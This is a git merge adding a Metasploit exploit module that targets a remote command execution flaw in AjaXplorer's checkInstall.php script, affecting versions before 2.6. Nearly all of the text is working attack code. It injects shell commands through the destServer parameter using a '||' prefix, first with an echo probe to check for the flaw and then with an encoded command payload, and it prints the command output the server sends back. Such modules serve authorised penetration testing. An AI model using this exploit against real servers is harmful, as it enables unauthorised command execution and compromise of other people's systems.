Merge branch 'ajaxplorer' of https://github.com/wchen-r7/metasploit-framework into wchen-r7-ajaxplorer

modules/exploits/multi/http/ajaxplorer_checkinstall_exec.rb

@@ -0,0 +1,111 @@
+##
+# This file is part of the Metasploit Framework and may be subject to
+# redistribution and commercial restrictions. Please see the Metasploit
+# web site for more information on licensing and terms of use.
+#   http://metasploit.com/
+##
+
+require 'msf/core'
+
+class Metasploit3 < Msf::Exploit::Remote
+	Rank = ExcellentRanking
+
+	include Msf::Exploit::Remote::HttpClient
+
+	def initialize(info = {})
+		super(update_info(info,
+			'Name'           => 'AjaXplorer checkInstall.php Remote Command Execution',
+			'Description'    => %q{
+					This module exploits an arbitrary command execution vulnerability in the
+				AjaXplorer 'checkInstall.php' script. All versions of AjaXplorer prior to
+				2.6 are vulnerable.
+			},
+			'Author'         =>
+				[
+					'Julien Cayssol',  #Credited according to SecurityFocus
+					'David Maciejak',  #Metasploit module
+					'sinn3r'           #Final touch on the Metasploit module
+				],
+			'License'        => MSF_LICENSE,
+			'References'     =>
+				[
+					[ 'OSVDB', '63552' ],
+					[ 'BID', '39334' ]
+				],
+			'Privileged'     => false,
+			'Payload'        =>
+				{
+					'DisableNops' => true,
+					'Space'       => 512,
+					'Compat'      =>
+						{
+							'ConnectionType' => 'find',
+							'PayloadType' => 'cmd',
+							'RequiredCmd' => 'generic perl ruby python bash telnet'
+						}
+				},
+			'Platform'       => ['unix', 'bsd', 'linux', 'osx', 'windows'],
+			'Arch'           => ARCH_CMD,
+			'Targets'        => [[ 'AjaXplorer 2.5.5 or older', { }]],
+			'DisclosureDate' => 'Apr 4 2010',
+			'DefaultTarget' => 0))
+
+		register_options(
+			[
+				OptString.new('TARGETURI', [true, 'The base path to AjaXplorer', '/AjaXplorer-2.5.5/'])
+			], self.class)
+	end
+
+	def check
+		target_uri.path << '/' if target_uri.path[-1,1] != '/'
+		clue = Rex::Text::rand_text_alpha(rand(5) + 5)
+
+		res = send_request_cgi({
+			'method' => 'GET',
+			'uri'      => "#{target_uri.path}plugins/access.ssh/checkInstall.php",
+			'vars_get' => {
+				'destServer'    => "||echo #{clue}"
+			}
+		})
+
+		# If the server doesn't return the default redirection, probably something is wrong
+		if res and res.code == 200 and res.body =~ /#{clue}/
+			return Exploit::CheckCode::Vulnerable
+		end
+
+		return Exploit::CheckCode::Safe
+	end
+
+	def exploit
+		peer = "#{rhost}:#{rport}"
+		target_uri.path << '/' if target_uri.path[-1,1] != '/'
+
+		# Trigger the command execution bug
+		res = send_request_cgi({
+			'method' => 'GET',
+			'uri'      => "#{target_uri.path}plugins/access.ssh/checkInstall.php",
+			'vars_get' =>
+				{
+					'destServer'    => "||#{payload.encoded}"
+				}
+			})
+
+		if res
+			print_status("#{peer} - The server returned: #{res.code} #{res.message}")
+			m = res.body.scan(/Received output:\s\[([^\]]+)\]/).flatten[0] || ''
+
+			if m.empty?
+				print_error("#{peer} - This server may not be vulnerable")
+			else
+				print_status("#{peer} - Command output from the server:")
+				print_line(m)
+			end
+		end
+	end
+
+end
+
+=begin
+Repo:
+http://sourceforge.net/projects/ajaxplorer/files/ajaxplorer/2.6/
+=end